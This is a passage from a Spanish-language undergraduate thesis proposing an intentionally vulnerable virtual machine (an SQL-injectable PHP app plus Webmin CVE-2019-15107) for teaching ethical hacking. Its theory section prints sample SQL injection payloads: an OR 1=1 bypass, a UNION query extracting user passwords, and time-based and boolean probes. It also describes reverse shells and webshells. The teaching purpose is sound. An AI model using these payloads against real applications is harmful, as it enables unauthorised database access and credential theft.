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RESUMEN
La asignatura de Ethical Hacking de la carrera de Tecnologia de la Informacién de
la Universidad Estatal Peninsula de Santa Elena presenta dificultades para realizar
practicas en clase debido a las restricciones de red, falta de material practico y
posibles problemas legales al realizar précticas en sistemas reales. Es por este
motivo que el presente proyecto cuenta con la implementaciéon de un entorno
virtual vulnerable para la ejecucion de pruebas de penetracion de inyeccion SQL y
escalado de privilegios. Se utilizd la metodologia de investigacion de tipo
exploratoria y, como técnica de recoleccion de datos, la entrevista, y para el
desarrollo del entorno vulnerable se adapt6 la metodologia TOP-DOWN. Como
resultados, se disefid una maquina virtual vulnerable mediante el uso de la
virtualizacion junto con una aplicacion y con el fallo de seguridad en su sistema
operativo. Se concluye, que el desarrollo de una herramienta propia para practicas
en asignatura de Ethical Hacking es relevante, ya que permite al docente y a los

estudiantes realizar ejercicios practicos sin depender de recursos externos.

Palabras claves: Entorno virtual vulnerable, inyeccion SQL, escalado de

privilegios, virtualizacion.
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ABSTRACT
The Ethical Hacking course in the Information Technology program at the Santa
Elena Peninsula State University faces challenges in conducting in-class practical
exercises due to network restrictions, a lack of practical materials, and potential
legal issues associated with working on real systems. Therefore, this project
involves the implementation of a vulnerable virtual environment for conducting
SQL injection penetration tests and privilege escalation. An exploratory research
methodology was used, with interviews as the data collection technique. The
vulnerable environment was developed using a top-down approach. The results
show the design of a vulnerable virtual machine using virtualization, an application,
and a security flaw in its operating system. In conclusion, developing a dedicated
tool for practical exercises in the Ethical Hacking course is relevant, as it allows
instructors and students to conduct practical exercises without relying on external

resources.

Keywords: Vulnerable virtual environment, SQL injection, privilege escalation,

virtualization.
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INTRODUCCION
El constante avance de la tecnologia y el crecimiento de las amenazas informaticas
han generado la necesidad de que las instituciones educativas cuenten con entornos
seguros y accesibles, donde tanto el docente como los estudiantes cuenten con
herramientas accesibles y seguras para realizar practicas de ciberseguridad sin
poner en riesgo sistemas reales. En este contexto, la asignatura Ethical Hacking de
la carrera de Tecnologia de la Informacion de la Universidad Estatal Peninsula de
Santa Elena (UPSE) presenta dificultades para realizar estas practicas debido a la
falta de material practico, problemas legales para ejecutar pruebas en sistemas

reales y las restricciones de la red de la universidad.

Por ende, el presente proyecto propone la implementacion de un entorno virtual
vulnerable mediante una maquina virtual que permita la ejecucion de ataques de
inyeccion SQL contra una aplicaciéon web y escalar privilegios aprovechando el
fallo de seguridad incorporado en el sistema operativo. Ademas, el proyecto incluira
una guia detallada con los pasos para su resolucion y con otras formas de
explotacion. Todo esto con el fin de que tanto el docente como los estudiantes
dispongan de una herramienta funcional y segura para realizar pruebas de

penetracion en clase.
El proyecto se compone de tres capitulos, los cuales se describen a continuacion:

Capitulo 1: Se describen los antecedentes de la problematica, la descripcion del

proyecto, los objetivos a alcanzar, la justificacion y el alcance del proyecto.

Capitulo 2: Se expone el marco teorico y conceptual, asi como se definen los
términos mas importantes para la investigacion, tales como tecnologias y
herramientas para utilizar, el analisis de la entrevista, las técnicas con las que se
hara el levantamiento de informacion y la metodologia que se tendra que seguir

para el desarrollo del proyecto.

Capitulo 3: Se detalla todo lo relacionado con la propuesta del proyecto,
desglosando las cinco fases principales, que son la recoleccion de informacion,

desarrollo, configuracion, pruebas y documentacion.



CAPITULO 1. FUNDAMENTACION.

1.1. Antecedentes

Actualmente, las instituciones educativas enfrentan limitaciones para realizar
practicas de ciberseguridad por la falta de elementos précticos que impide simular
escenarios de ataques reales [1]. Esta limitacién impide adquirir conocimiento sobre
el riesgo que estos ataques pueden causar a los sistemas informaticos, volviéndose
aun mas preocupante ante el constante incremento de ataques que se aprovechan de
errores en el disefo, configuracion o programacion del software, afectando

directamente la integridad, confidencialidad y disponibilidad de la informacion [2].

Entre los ataques mas comunes se encuentran las inyecciones SQL, que estan bajo
la categoria "A03:2021 - Inyeccion", siendo uno de los riesgos de seguridad mas
criticos para las aplicaciones web segiin el OWASP Top 10 — 2021 [3]. Los ataques
por inyecciéon SQL se originan por la falta de validacion y sanitizacion en las
entradas de datos del usuario, provocando una amenaza grave para las aplicaciones
web porque permite el acceso, ejecucion, modificacion y eliminacion de la
informacion almacenada en las bases de datos sin autorizacion [4]. A esto se le
suma el escalado de privilegios, otro tipo de ataque causado por fallos de seguridad
en el servidor que permite a usuarios sin autorizacion obtener permisos

administrativos en un sistema, lo que facilita el control total del mismo [5].

En este contexto, la Facultad de Sistemas y Telecomunicaciones (FACSISTEL) de
la Universidad Estatal Peninsula de Santa Elena (UPSE), fundada el 22 de marzo
de 2010, cuenta con cuatro carreras vigentes, entre ellas la carrera de Tecnologia de
la Informacion [6]. Dentro de dicha carrera se encuentra la materia de Ethical
Hacking, donde se ha identificado que existen dificultades para realizar practicas
de pruebas de penetracion en clase. Esto se evidencié mediante una entrevista al

docente actual de la asignatura, quien es experto en seguridad informatica y hacking

ético (ver Anexo 1).

Entre las principales dificultades identificadas en la asignatura de Ethical Hacking
se encuentra la falta de material practico propio, lo que provoca depender de
plataformas externas y hace que los estudiantes encuentren facilmente las

soluciones en internet, las cuales suelen estar en sitios poco seguros y, como
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consecuencia, no realicen los ejercicios por si mismos. Ademas, que al docente se
le complica desarrollar material practico, como crear un entorno vulnerable, ya que

requiere de mucho tiempo y dedicacion.

A esto se le suman las medidas de seguridad que presenta la red universitaria, las
cuales bloquean puertos y direcciones IP que considere sospechosos debido al
firewall que tiene implementado, y aunque estas restricciones son necesarias para
proteger la infraestructura de red, impiden que se puedan instalar en clase los
servidores y laboratorios necesarios para que los estudiantes puedan realizar

précticas de hacking ético de forma segura y controlada.

Al no disponer de una herramienta funcional y segura para practicas de
ciberseguridad, existe la posibilidad de que los estudiantes realicen intentos no
controlados, ya sea por curiosidad o equivocacion. Estas acciones, aunque
inofensivas pueden generar problemas legales tanto para la instituciéon como para
el docente, ya que el COIP (Cddigo Orgénico Integral Penal) establece sanciones
por actividades informaticas no autorizadas y las sanciona al alcanzar la figura de

delitos, aun cuando estas se realizan con fines educativos.

Para llevar a cabo el proyecto, se han analizado trabajos que estén relacionados con
el tema, los cuales permitirdn definir criterios técnicos que respalden al disefio y
desarrollo del entorno virtual vulnerable a inyecciones SQL y escalado de
privilegios, aportando conocimientos esenciales para asegurar su funcionalidad y

efectividad.

En la tesis de “Estudio de técnicas de ciberseguridad aplicado al desarrollo de
aplicaciones web mediante el uso de la herramienta DAMN VULNERABLE
WEB APPLICATION (Ecuador, UPSE)”, evalta técnicas de ciberseguridad que
servirdn para el desarrollo seguro de aplicaciones web, donde se enfoco en las
vulnerabilidades del proyecto OWASP Top 10 (2021) para probar los diferentes
tipos de ataques mediante pruebas de penetracion en entornos virtuales utilizando

DVWA y la metodologia PTES para comprobar su estudio [7].

Por otro lado, la tesis “HACKING WEB (ANALISIS DE ATAQUES SQL
INYECCION, XSS) (Colombia, UNAD)” realiza una investigacién de dos



ataques que se han presentado durante afios, que son las inyecciones SQL y XSS,
las cuales han tenido un gran impacto en las aplicaciones web de las organizaciones
a nivel general, mostrando cémo estos ataques pueden traer consigo no solo el
acceso no autorizado a la informacion almacenada, sino también el control del
sistema operativo que lo soporta y, en consecuencia, el compromiso de la

organizacion atacada [8].

Ademas, la tesis “Pentesting en entornos controlados (Espaiia, Universidad La
Laguna)” consiste en la realizacion de una auditoria de seguridad para identificar
vulnerabilidades comunes y proponer soluciones a las mismas, a su vez, se plantea
la creacidon de un entorno replicable para el analisis técnico y test de herramientas
de pentesting. Usdé maquinas virtuales y diversas herramientas como Nmap,
Burpsuite y SQLmap, y modificoé para su auditoria la metodologia de seguridad
OWASP, que incluye desde el reconocimiento inicial hasta el andlisis de

vulnerabilidades, la explotacion y la post-explotacion [9].

Con base en la informacion recopilada, se plantea la implementacion de un entorno
virtual vulnerable mediante una méquina virtual para la ejecucion de ataques de
inyeccion SQL y escalado de privilegios, funcionando como una herramienta
practica que permita a los estudiantes ejecutar pruebas de penetracion sin
comprometer sistemas reales, creando asi un ambiente seguro para el aprendizaje

préactico.

1.2. Descripcion del Proyecto

Ante las dificultades que presenta la asignatura de Ethical Hacking de la carrera de
Tecnologia de la Informacién para llevar a cabo las practicas en clase (ver Anexo
1), como la falta de material préactico propio, problemas legales para ejecutar
pruebas en sistemas reales y las restricciones de red de la universidad que impiden
instalar servidores y laboratorios, se propone implementar un entorno virtual
vulnerable a través de una maquina virtual preconfigurada y disefiada para la

ejecucion de pruebas de penetracion.

Dicha maquina presentara una cadena de explotacion donde los estudiantes deberan
atacar a una aplicacion web usando inyecciones SQL para acceder al usuario

estandar del servidor, después tendrdn que identificar y aprovechar el fallo de

4



seguridad incorporado en el sistema operativo para escalar privilegios y alcanzar
control total del sistema como root. Ademas, se elaborara una guia que explicara el
uso del entorno y el paso a paso para su resolucion, asegurando de esta manera un

recurso practico completo.

Para el presente proyecto se adaptd la metodologia TOP-DOWN, la cual estara

estructurada en cinco fases:

Fase 1: Recoleccion de informacion

Se realiza una entrevista al docente actual de la asignatura de Ethical Hacking con
el proposito de comprender la importancia de contar con un entorno virtual
vulnerable para ejecutar pruebas de penetracion de forma segura y controlada (ver
Anexo 1). Ademas de recopilar la informacién sobre los componentes que incluira
la maquina virtual para simular ataques y definir los requisitos técnicos necesarios

para su disefio.

» Requisitos para crear el entorno virtual
Vulnerabilidades de inyeccion SQL en aplicaciones web

>
» Requisitos para incorporar el fallo de seguridad CVE-2019-15107
» Arquitectura del entorno virtual vulnerable

>

Topologia de red del entorno

Fase 2: Desarrollo

En esta fase se desarrolla una aplicacion web vulnerable con Visual Studio Code
para la edicion del codigo, PHP para el lenguaje de programaciéon, MySQL con
phpMyAdmin como el sistema de bases de datos y XAMPP que actuard de servidor
local. Esta aplicacion se disefia con fallos en la validacion de datos de entrada que
permiten ejecutar ataques de inyeccion SQL, con el fin de simular un escenario real
en el que un atacante pueda manipular la informacion de la base de datos sin
autorizacion. Adicionalmente, cuenta con una bandera que sirve para comprobar

que se ha obtenido acceso a la base de datos mediante los ataques realizados.

» Crear la base de datos y afiadir la primera bandera
» Desarrollar la aplicacion web

» Afadir vulnerabilidades intencionales en la aplicacion web



Fase 3: Configuracion

En la maquina virtual se configura el sistema operativo Ubuntu Server 16.04 se
modifican las contrasefias y los permisos de los usuarios, instalando los servicios
necesarios para el despliegue de la aplicacion web e incorporando el fallo de
seguridad CVE-2019-15107 de Webmin 1.890 para permitir el escalado de
privilegios, asi mismo, se afiaden dos banderas en el sistema como indicadores de
que se habia obtenido acceso al servidor. Por lltimo, se cambia el adaptador de red

en modo NAT y se exporta la maquina virtual vulnerable en formato OVA.

» Instalar y configurar la ISO de Ubuntu Server 16.04 en la maquina virtual
Configurar los usuarios del servidor
Arranque de los servicios Apache, MySQL y SSH

Desplegar y configurar la aplicacion web

Y V V VY

Incorporar y configurar el fallo de seguridad CVE-2019-15107 en el sistema

operativo Ubuntu Server

A\

Afadir segunda y tercera bandera en los directorios de usuario y root
» Configurar el adaptador de maquina de la maquina en modo “NAT”

» Exportar la maquina virtual en formato OVA
Fase 4: Pruebas

Se prueba el funcionamiento de la maquina virtual con el objetivo de verificar que,
mediante las vulnerabilidades establecidas en la aplicacion web, es posible realizar
ataques de inyeccién SQL, para posteriormente acceder al usuario del servidor, y
también que el fallo de seguridad incorporado en el sistema operativo permita
obtener el control del mismo a través del escalado de privilegios. Ademas, se estima
el tiempo en que un estudiante tarda en completar la explotacion de la maquina con

y sin la explicacion del docente con la herramienta

» Probar la conectividad de red y servicios de la maquina

Ejecutar ataques de inyeccion SQL en la aplicacion web

>

» Acceder por SSH al usuario estandar del sistema

» Verificar el funcionamiento del fallo de seguridad CVE-2019-15107
>

Estimar el tiempo aproximado que se toma en resolver la maquina.



Fase 5: Documentacion

Se elabor6 una guia que muestra el uso del entorno virtual vulnerable y el
procedimiento de cada uno de los ataques realizados mediante inyecciones SQL en
la aplicacion web para obtener informacion de la base de datos, asi como el proceso
que permitid el acceso del usuario estdndar del servidor mediante SSH, de la misma
manera, se detallé como fue posible la escalada de privilegios a partir del fallo de
seguridad incorporado en el sistema operativo. De esta manera, evidencia la forma
en que se puede llevar a cabo la explotacion del entorno vulnerable ademas de lo

que puede causar cada uno de estos ataques.

» Introduccion y descripcion del entorno virtual vulnerable

» Ataques de inyeccion SQL a la aplicacion web para obtener acceso a la base
de datos y capturar la primera bandera

» Acceder por SSH al usuario del servidor para conseguir la segunda bandera

» Procedimiento completo de la escalada de privilegios a través del fallo de
seguridad (CVE-2019-15107) que afecta al sistema para obtener acceso

como root y capturar la tercera bandera

Este proyecto contribuird a la linea de investigacion de Tecnologias y Sistemas con
la sublinea de Ingenieria y Gestion de TSI, de acuerdo con la resolucion RCF-FST-

SO-09 No. 03-2021.
1.3. Objetivos del Proyecto

1.3.1. Objetivo General

Disefiar una maquina vulnerable a inyecciones SQL y escalado de privilegios
mediante el uso de virtualizacion para la asignatura Ethical Hacking de la carrera

de Tecnologia de la Informacion de la Facultad de Sistemas y Telecomunicaciones.

1.3.2. Objetivos Especificos

e Desarrollar una aplicacién web vulnerable a ataques de inyecciones SQL
que permita el acceso a la base de datos previo a su despliegue en la maquina

virtual



e Configurar la maquina virtual con el sistema operativo, alojando la
aplicacion e incorporando el fallo de seguridad que permita el escalado de
privilegios

e Probar el funcionamiento de la maquina virtual vulnerable mediante la
ejecucion de inyeccion SQL y escalado de privilegios

e Elaborar una guia que explique el uso del entorno vulnerable y los pasos

para su resolucion
1.4. Justificacion del Proyecto

Con el avance de la tecnologia informatica las maquinas virtuales han cobrado gran
relevancia en el entorno digital, ya que permiten mediante la virtualizacion agregar
diversos recursos y ponerlos a disposicion para diferentes areas [10]. Esta
herramienta proporciona para la creacion de entornos aislados donde se pueden
realizar pruebas y simulaciones sin poner en riesgo sistemas reales, permitiendo
practicar técnicas de seguridad informatica, como el manejo de vulnerabilidades y

la proteccion de los sistemas [10].

La implementacion de un entorno virtual vulnerable para la ejecucion de pruebas
de penetracion beneficiard directamente al docente, ya que se proporciona una
herramienta préctica para la asignatura de Ethical Hacking, la cual contard con un
escenario que simule ataques mediante inyecciones SQL y escalado de privilegios,
ademas de ofrecer una experiencia de como estas vulnerabilidades pueden ser

explotadas.

Para el periodo 2025-2, los estudiantes que se verian beneficiarios indirectamente
serian 35, ya que, al contar con una herramienta funcional y segura les permitiria
realizar practicas sin depender de plataformas externas y evitar posibles conflictos
con sistemas reales. Logrando evitar el riesgo de tener problemas legales y técnicos,
ya que el entorno estara aislado, permitiendo realizar pruebas de forma segura y

respetando la normativa vigente del COIP.

Por otro lado, el uso de un entorno virtual vulnerable que no dependa de la red
universitaria se presenta como una solucion adecuada ante las dificultades que se

tienen para el despliegue de servidores y laboratorios, puesto que permite crear un



espacio aislado donde se puedan realizar pruebas sin poner en riesgo los sistemas
reales. Ademads, esta herramienta servirda como base para que la asignatura de
Ethical Hacking disponga de mas recursos practicos en el futuro, permitiendo crear
nuevos entornos accesibles que ayuden a identificar vulnerabilidades de forma

segura.

El presente proyecto esta alineado al Plan Nacional de Desarrollo Ecuador No Se
Detiene 2025 — 2029, haciendo énfasis en el eje institucional, el cual detalla lo

siguiente:
Eje Institucional

Objetivo 8: Fortalecer la institucionalidad publica de forma eficiente, transparente

y participativa [11].

Politica 8.3: Impulsar la transformacion digital del Estado, la adopcion del modelo
de Estado Abierto, la proteccion de la informacion, con un entorno digital seguro y
confiable en todos los niveles de gobierno, asi como la integridad publica y la lucha
contra la corrupcidén, que promueva la gestion publica eficiente, inclusiva,

transparente y participativa [11].
1.5. Alcance del Proyecto

La implementacion de un entorno virtual vulnerable para la ejecucion de pruebas
de penetracion a través de una maquina virtual que permita realizar ataques de
inyeccion SQL contra una aplicacion web y escalar privilegios mediante el fallo de
seguridad presente en el sistema operativo, tiene como objetivo ofrecer una
herramienta funcional para realizar practicas en la asignatura de Ethical Hacking

sin tener que infringir la ley o causar dafo a sistemas reales.

Ademas, se elaborard una guia que contard con la explicacioén del funcionamiento
del entorno vulnerable y los pasos realizados para su resolucion, desde el
reconocimiento y enumeracion hasta la post-explotacion, incluyendo las tres
banderas encontradas y otras formas posibles de explotar las vulnerabilidades de la
aplicacion. Por ende, se adoptard la metodologia TOP-DOWN, la cual estara
dividida en cinco fases que incluirdn actividades disefiadas para asegurar un

desarrollo ordenado y enfocado.



Fase 1: Recoleccion de informacion.

O

Requisitos para el entorno virtual y fallo de seguridad
Tipos inyecciones SQL

Arquitectura de la aplicacion web y del fallo de seguridad
Topologia de red del Entorno

Fase 2: Desarrollo

o

O

Crear base de datos y afiadir la primera bandera

Desarrollo de la aplicacion web vulnerable

Fase 3: Configuracion

o

Configurar Ubuntu Server en la maquina virtual
Modificar los permisos de los usuarios

Arranque de los servicios necesarios

Desplegar la aplicacion web

Incorporar el fallo de seguridad CVE-2019-15107
Afadir las banderas para el usuario estandar y root
Configurar la red

Exportar la maquina virtual en formato OVA

Fase 4: Pruebas

Verificar el funcionamiento del entorno virtual

Ejecutar ataques de inyeccion SQL en la aplicacion web
Comprobar el acceso por SSH al usuario del servidor
Probar el funcionamiento del escalado de privilegios

Tiempo estimado de resolucion

Fase 5: Documentacion

Presentacion del entorno virtual vulnerable

Registro de los ataques de inyeccion SQL para obtener la primera bandera
Detallar el acceso al usuario normal por SSH para conseguir la segunda
bandera

Describir paso a paso el escalado de privilegios para obtener la tercera root
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El entorno virtual vulnerable esta disefiado con fines educativos en ciberseguridad
y sirve Unicamente como herramienta practica para brindar una experiencia sobre
ataques reales, centrandose en la explotacion de vulnerabilidades de una aplicacion
web mediante inyecciones SQL y en el aprovechamiento del fallo de seguridad que
afecta el sistema (CVE-2019-15107), permitiendo escalar privilegios para obtener
control total del mismo, todo dentro de un entorno controlado. Aunque en el
documento se especifican los ataques que se realizaron en el entorno vulnerable, es
posible que los estudiantes puedan utilizar otros métodos o técnicas segin sus
conocimientos. Cabe recalcar que solo es una herramienta de apoyo y no garantiza
la mejora o reforzamiento del aprendizaje, ya que eso solo dependera del propio

estudiante.
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CAPITULO 2. MARCO TEORICO Y METODOLOGIA DEL PROYECTO
2.1. Marco Conceptual
2.1.1. Pruebas de Penetracion (Pentesting)

Las pruebas de penetracion, o también conocidas como pentesting, son un conjunto
de técnicas y métodos que permiten descubrir y aprovechar las vulnerabilidades y/o
fallos de seguridad que estan en los sistemas informaticos [12]. Estas pruebas
simulan ataques reales donde una persona o grupos de expertos en seguridad
informdtica adoptan el rol de delincuentes informaticos, con el objetivo de
identificar problemas de seguridad y evitar que ciberdelincuentes puedan

aprovecharse de ellos [13].
2.1.2. Entorno Virtualizado

Un entorno virtualizado es un sistema informatico simulado que reproduce
hardware, sistemas operativos, redes o almacenamiento dentro de un nico equipo
fisico, permitiendo crear varias maquinas virtuales donde cada una puede ejecutar
aplicaciones o sistemas distintos sin interferir entre si, siempre y cuando la maquina
host comparta los recursos necesarios para que funcione, ademas de facilitar la
escalabilidad, el uso menor de recursos y reducir costos de infraestructura, energia

y mantenimiento [14].
2.1.3. Aplicacion Web

Es un tipo especial de aplicacion que funciona a través del modelo cliente/servidor,
donde tanto el cliente (el navegador, explorador o visualizador) como el servidor
(servidor web) y el protocolo con el que se comunican (HTTP) estan conectados
para trabajar juntos, de modo que el usuario utiliza un navegador para enviar
solicitudes mediante el protocolo HTTP al servidor web, el cual procesa dichas
solicitudes para luego devolver las paginas o recursos necesarios para que el usuario

pueda interactuar con ellos [15].
2.1.3.1. Vulnerabilidades de las Aplicaciones Web

Las vulnerabilidades en las aplicaciones web pueden surgir tanto por fallos en los

sistemas como por malas practicas de programacion, lo que genera configuraciones
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débiles, comunicaciones inseguras entre cliente y servidor o el uso de softwares
desactualizados. Estas debilidades pueden ser aprovechadas por atacantes mediante
peticiones HTTP, estos mensajes pueden contener ataques y, aunque pasen por
cortafuegos, filtros, entre otros sistemas de control de intrusos, no generaran ningun
tipo de alerta, puesto que se supone que estan dentro de las llamadas HTTP legales,
poniendo en riesgo la confidencialidad, integridad, disponibilidad y autenticidad de

la informacion [16].
2.1.3.2. OWSAP

El OWASP, también conocido como Open Web Application Security Project, es
una organizacion sin fines de lucro que busca mejorar la seguridad de los sistemas
y softwares. Esto lo hace mediante capacitaciones de lideres, conferencias
educativas para miles de miembros y proyectos de cddigo abierto para toda la
comunidad, debido a que existen mas de 250 capitulos locales en todo el mundo,
teniendo como objetivo que las organizaciones disefien, desarrollen, adquieran,

operen y mantengan aplicaciones confiables y seguras [17].

Uno de sus aportes mas conocidos es el OWASP Top 10 - 2021, una lista hecha por
un equipo de expertos en seguridad de todo el mundo y que se enfoca en los diez
principales problemas de seguridad en aplicaciones web [18]. A continuacion, se
muestra cudles son las vulnerabilidades mas explotadas en las aplicaciones web

actualmente.

Top 10 de las vulnerabilidades de seguridad mas criticas en aplicaciones web

segun el OWASP - 2021:

A01:2021 - Pérdida de Control de Acceso

A02:2021 - Fallas Criptograficas

A03:2021 — Inyeccion

A04:2021 - Disefio Inseguro

A05:2021 - Configuracion de Seguridad Incorrecta
A06:2021 - Componentes Vulnerables y Desactualizados
A07:2021 - Fallas de Identificacion y Autenticacion

V V.V V V V VYV V

A08:2021 - Fallas en el Software y en la Integridad de los Datos
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» A09:2021 - Fallas en el Registro y Monitoreo
» A10:2021 - Falsificacion de Solicitudes del Lado del Servidor (SSRF)

2.1.4. Inyeccion SQL

Es un ataque que ocurre cuando el usuario ingresa datos en formularios o
pardmetros URL que no se validan o filtran correctamente antes de formar la
sentencia SQL, lo que permite que un atacante inserte cédigo SQL malicioso en las
consultas enviadas a la base de datos y consiga el privilegio de leer, modificar o
borrar informacion sensible como contrasefias, datos personales o numeros de

tarjetas, e incluso tomar el control total del servidor de la base de datos [19].
2.1.4.1. Inyeccion SQL en Banda (In-Band)

La inyeccion SQL en banda es una de las més basicas y consiste en que el atacante
recibe directamente los resultados de las consultas maliciosas a través del mismo
canal que usa la aplicacion, como un navegador web. Este método le permite al
atacante ver datos o mensajes de error para conseguir informacion importante,
siendo sus variantes mas comunes la inyeccion basada en errores, que muestra
detalles técnicos mediante mensajes de fallo, y la inyeccion basada en union, que
combina resultados normales con datos confidenciales para sacar informacion
sensible de la base de datos. Dentro de este tipo de ataques existen dos variaciones

[20].
Inyeccion SQL por Errores

Esta técnica de inyeccién SQL se basa en los mensajes de error generados por la
base de datos para obtener informacion sobre su estructura, la version, el sistema
operativo o devolver los resultados completos de la consulta [21]. Cuando el
atacante detecta que la aplicaciéon web no estd configurada correctamente para
ocultar dichos mensajes, puede enviar sentencias SQL que provoquen errores que
revelan detalles como nombres de tablas y columnas, ademas de los tipos y valores
de los datos almacenados en la base de datos, facilitando la extraccion de la

informacion [22].

Por ejemplo, un atacante puede insertar ' OR 1= 1-- - en un campo de formulario de

la aplicacion, ya sea en el login o en un search, lo que genera un error como se
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muestra en la Figura 1, que es “Tienes un error en tu sintaxis SQL”. Este error se
debe a problemas en la gramatica, aunque también existen otros que pueden ser por
tablas no encontradas, columnas no vélidas o datos incorrectos. Estos mensajes
suelen ofrecer informacion o pistas al atacante, permitiéndole construir una consulta

maliciosa para seguir explotando la vulnerabilidad.

Error en la consultz: You have an error i your SQL syntax; check the manual that corresponds to
vour MariaDB server version for the right svntax fo use near " af line |

Figura 1: Ejemplo de inyeccion SQL basada en Errores.
Inyeccion SQL por Union

La inyeccion SQL basada en union ocurre cuando una aplicacién presenta
posibilidades de concatenar directamente la entrada del usuario con sentencias
SELECT, lo que permite al atacante combinar una consulta legitima con otra
maliciosa mediante el operador UNION, afiadiendo sentencias adicionales que
mantengan la misma estructura de la consulta, posibilitando la extraccion de
informacion confidencial como los nombres de las tablas, columnas o datos

sensibles de la base de datos [23].

Por ejemplo, en la Figura 2 se muestra una consulta que combina los resultados de
la consulta original “SELECT nombre, precio FROM juegos WHERE id = 1” con
los resultados de “SELECT usr_name, contrasefia FROM usuarios --”. Donde si la
aplicacion es vulnerable, los resultados que se presentaran seran los nombres de

usuario y contrasefia de la tabla usuarios.

SELECT nombre, precio FROM juegos WHERE id = '1°
UNION

SELECT usr_name, contrasefia FROM usuarios --

Figura 2: Ejemplo de inyeccion SQL basada en Union.
2.1.4.2. Inyeccion SQL a Ciegas (Blind SQL.i)

Este tipo de inyeccion SQLi es una técnica en la que el atacante no recibe
directamente los resultados de su consulta, sino que deduce la informacion

mediante técnicas avanzadas como respuestas condicionales o retrasos en el tiempo
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de respuesta de la aplicacion, convirtiéndola en uno de los ataques por SQLi mas
complejos de realizar. Para entender mejor este tipo de ataque, se explicaran a

continuacion sus dos variaciones [24].
Inyecciones SQL por tiempo

La funcion de las inyecciones SQL basadas en tiempo es extraer informaciéon de
una base de datos sin que se muestren resultados visibles en la aplicacion web. Este
tipo de ataque es uno de los mas complejos, ya que el atacante utiliza técnicas de
cronometraje para determinar si la inyeccion SQL tuvo éxito, ejecutando comandos
que generan retrasos intencionales, haciendo que este método sea mas dificil de

detectar [25].

Por ejemplo, en la Figura 3 se muestra la consulta maliciosa “AND IF (EXISTS
(SELECT * FROM usuarios), SLEEP (10), 0);”, la cual indica que, si en la base de
datos existe la tabla usuarios, la aplicacion web tardard 10 segundos en responder,
pero si no existe, la respuesta serd inmediata. De esta forma, el atacante obtendra la

informacion que se encuentra en la base de datos.

SELECT nombre, precio FROM juegos WHERE id = '1°
AND
IF(EXISTS(SELECT * FROM usuarios), SLEEP(19), @);

Figura 3: Ejemplo de inyeccion SQL basada en tiempo.
Inyecciones SQL Booleana

Es una técnica que consiste en el envio de una consulta SQL a la base de datos,
forzando a la aplicacion web a devolver resultados con condiciones booleanas de
tipo verdadero o falso. Este ataque es complejo y lento, ya que los atacantes no
recibirdn datos visibles de manera directa, sino que tendrdn que basarse en las

respuestas que reciba del boolean [26].

Por ejemplo, en la Figura 4 se construye una consulta a modo de pregunta para
identificar el primer caracter del nombre de la base de datos “AND substring
(database (),1,1) ='a';” donde la aplicacion devuelve el resultado esperado, como
mostrar el juego “Spider-Man”, significa que la condicion es verdadera. En cambio,

si no aparece ningun resultado, la condicion es falsa
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SELECT * FROM juegos WHERE nombre = 'Spider-Man'
AND substring(database(),1,1)="a";

Figura 4: Ejemplo de inyeccion SQL basada en booleano.
2.1.4.3. Inyecciones SQL Fuera de Banda (Out-Of-Band)

La inyeccion SQL fuera de banda es una técnica que se producen cuando se inyectan
consultas SQL maliciosas en una aplicacion, provocando una respuesta a través de
un canal externo como DNS o HTTP. Esta técnica permite extraer informacion y
confirmar que el ataque funcion6 mediante comunicaciones que ocurren fuera del
funcionamiento normal de la aplicacion, siendo especialmente util cuando la
aplicacion no muestra errores ni resultados que se puedan ver, pero el servidor de

base de datos si puede hacer conexiones hacia afuera [27].

Por ejemplo, un atacante maneja una consulta SQL donde genera una solicitud DNS
o HTTP hacia un servidor que es controlado por ¢l. En dicha peticion se envian los
datos que desea extraer, como la contrasefia del administrador de la aplicacion. Una
vez que la solicitud es recibida por el servidor, el atacante registra dichos datos para

después visualizarla.

2.1.5. Shell

El shell es un intérprete de comandos que permite la comunicacion entre el usuario
y el sistema operativo, de modo que el usuario puede controlar el sistema mediante
interfaces de linea de comando y traducir sus instrucciones en acciones para el
sistema, como ejecutar programas, automatizar tareas con scripts o gestionar

procesos, lo que facilita el control del equipo [28].
2.1.5.1. Webshell

Una webshell es un cddigo que permite ejecutar comandos de forma remota a través
de una aplicacion web, interpretando informacidon como si fuera una terminal del
servidor y logrando que el atacante pueda hacer cualquier tipo de accion desde
navegar por el sistema de archivos, subir y descargar documentos, robar

informacion sensible o incluso mantener acceso continuo al servidor [29].
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2.1.5.2. Reverse Shell

Es la forma en que se puede inicia una conexion hacia un servidor controlado por
un atacante o pentester, ddndole control remoto sobre la maquina objetivo, teniendo
como funcidn hacer posible la ejecucion de comandos, transferencia de archivos y
administracién de procesos, incluso pasando a través de firewalls o NAT, siendo
muy usada en pruebas de penetracion para encontrar y arreglar vulnerabilidades

antes de que sean aprovechadas con malas intenciones [30].
2.1.5.3. Bash

Este tipo de shell funciona como un intérprete de linea de comandos, donde permite
que el usuario pueda comunicarse con el sistema y causar alguna accion mediante
instrucciones escritas en la terminal, de manera que cuando se ingresa un comando,
Bash busca su ubicacion en el sistema y lo ejecuta, facilitando el control y gestion

del servidor a través de una interfaz de texto [31].
2.1.6. CVE (Programa Vulnerabilidades y Exposiciones Comunes)

Es un identificador para vulnerabilidades de aplicaciones de software o bibliotecas
abiertas que facilitan su identificacion y seguimiento a nivel mundial, permitiendo
que quienes estén interesados puedan obtener informacion detallada sobre esas
vulnerabilidades y asi tener un mismo problema en comun, ayudando a organizar
la informacion, compartir soluciones y aplicar parches de forma coordinada para

mejorar la seguridad de los sistemas informaticos [32].
2.1.6.1. Webmin CVE-2019-15107

El identificador CVE-2019-15107 de Webmin permite a un atacante ejecutar
inyeccion de comandos debido a una vulnerabilidad de en los parametros de old y
expired del script password _change.cgi [33]. Esta falla afecta a las versiones 1.882
hasta la 1.921 de Webmin y no requiere que el atacante cuente con credenciales

validas, lo que facilita el acceso no autorizado al sistema [34].
2.1.7. Escalada de Privilegios

La escalada de privilegios es el proceso donde se explotan vulnerabilidades o

configuraciones incorrectas en un sistema para elevar los privilegios de un usuario
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a otro, generalmente hacia cuentas con acceso administrativo o root, lo que permite
a un atacante aumentar su control sobre el sistema, permitiéndoles realizar cambios
administrativos, extraer datos, modificar el sistema operativo y mantener acceso
persistente mediante técnicas como modificaciones en el registro o tareas

programadas [35].
2.1.7.1. Escalada Horizontal de Privilegios

La escalada horizontal de privilegios permite a un usuario acceder a funciones o
datos de otras cuentas que tienen el mismo nivel de permisos en un sistema sin
necesidad de obtener acceso administrativo, ya que este tipo de escalada se centra
en moverse lateralmente para aprovechar vulnerabilidades o configuraciones
incorrectas con el fin de ingresar a otras cuentas de usuarios que comparten el

mismo nivel de privilegios [36].
2.1.7.2. Escalada Vertical de Privilegios

